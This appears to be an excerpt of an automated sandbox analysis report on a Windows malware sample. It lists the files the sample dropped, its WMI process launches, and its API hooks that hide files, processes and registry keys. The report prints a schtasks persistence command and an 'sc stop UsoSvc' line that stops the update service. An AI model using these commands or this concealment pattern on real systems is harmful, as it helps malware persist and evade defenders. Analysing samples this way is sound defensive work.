Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_7103562

Jump to behavior

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: section name: .didat
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: section name: _RDATA
Source: GargantuanS.exe.0.dr	Static PE information: section name: .00cfg
Source: GargantuaN.exe.0.dr	Static PE information: section name: .didat
Source: nhxnqwkhmssh.exe.2.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6F640 push ecx; ret	1_2_00D6F653
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6EB78 push eax; ret	1_2_00D6EB96
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB96ACDD push rcx; retf 003Fh	7_2_000001B0BB96ACDE
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB99C6DD push rcx; retf 003Fh	7_2_000001B0BB99C6DE
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC4E40D pushfd ; ret	8_2_00007FFD9BC4E422
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BC445D5 push eax; ret	8_2_00007FFD9BC445E9
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE63DD push C181916Ch; ret	8_2_00007FFD9BCE63EE
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE5013 push eax; ret	8_2_00007FFD9BCE5014
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE26E8 push eax; ret	8_2_00007FFD9BCE26EF
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE32B4 push edx; ret	8_2_00007FFD9BCE32B6
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE367D push eax; ret	8_2_00007FFD9BCE367E
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE019B push edx; ret	8_2_00007FFD9BCE019C
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE357F push esp; retf	8_2_00007FFD9BCE3585
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE495A push ecx; ret	8_2_00007FFD9BCE495B
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE315C push edx; ret	8_2_00007FFD9BCE315D
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE146F pushad ; ret	8_2_00007FFD9BCE1470
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE148D pushad ; ret	8_2_00007FFD9BCE14A1
Source: C:\PerfDll\hyperProviderSavesinto.exe	Code function: 8_2_00007FFD9BCE2885 push eax; ret	8_2_00007FFD9BCE2886
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26DACDD push rcx; retf 003Fh	9_2_00000216D26DACDE
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D270C6DD push rcx; retf 003Fh	9_2_00000216D270C6DE
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BD163E3 push C181916Ch; ret	20_2_00007FFD9BD163EE
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BD1357F push esp; retf	20_2_00007FFD9BD13585
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BD1148C pushad ; ret	20_2_00007FFD9BD114A1
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Code function: 20_2_00007FFD9BD1146F pushad ; ret	20_2_00007FFD9BD11470
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E905ACDD push rcx; retf 003Fh	38_2_00000150E905ACDE
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93FC6DD push rcx; retf 003Fh	38_2_00000150E93FC6DE
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE7ACDD push rcx; retf 003Fh	40_2_00000267FCE7ACDE
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCEAC6DD push rcx; retf 003Fh	40_2_00000267FCEAC6DE
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B50ACDD push rcx; retf 003Fh	45_2_000002359B50ACDE
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B53C6DD push rcx; retf 003Fh	45_2_000002359B53C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC62ACDD push rcx; retf 003Fh	49_2_00000225DC62ACDE

Source: hyperProviderSavesinto.exe.1.dr	Static PE information: section name: .text entropy: 7.557452107884656
Source: KZcLqgnLvRf.exe.8.dr	Static PE information: section name: .text entropy: 7.557452107884656
Source: RuntimeBroker.exe.8.dr	Static PE information: section name: .text entropy: 7.557452107884656
Source: KZcLqgnLvRf.exe0.8.dr	Static PE information: section name: .text entropy: 7.557452107884656
Source: KZcLqgnLvRf.exe1.8.dr	Static PE information: section name: .text entropy: 7.557452107884656

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\XVmuemSr.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\phOzxInG.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\LugVktua.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	File created: C:\PerfDll\hyperProviderSavesinto.exe	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\IkSFhrpY.log	Jump to dropped file
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	File created: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Recovery\WmiPrvSE.exe	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\kEwbgeKe.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Recovery\RuntimeBroker.exe	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\vsaRQqFM.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	File created: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\KEMGRwnV.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\zQhPhksn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	File created: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\msAjSsFc.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\WiKMUFpI.log	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

File created: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe

Jump to dropped file

Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe			Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe			Jump to dropped file

Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\msAjSsFc.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\WiKMUFpI.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\LugVktua.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\vsaRQqFM.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	File created: C:\Users\user\Desktop\kEwbgeKe.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\IkSFhrpY.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\KEMGRwnV.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\zQhPhksn.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\phOzxInG.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File created: C:\Users\user\Desktop\XVmuemSr.log	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\PerfDll\hyperProviderSavesinto.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 7 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /f

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
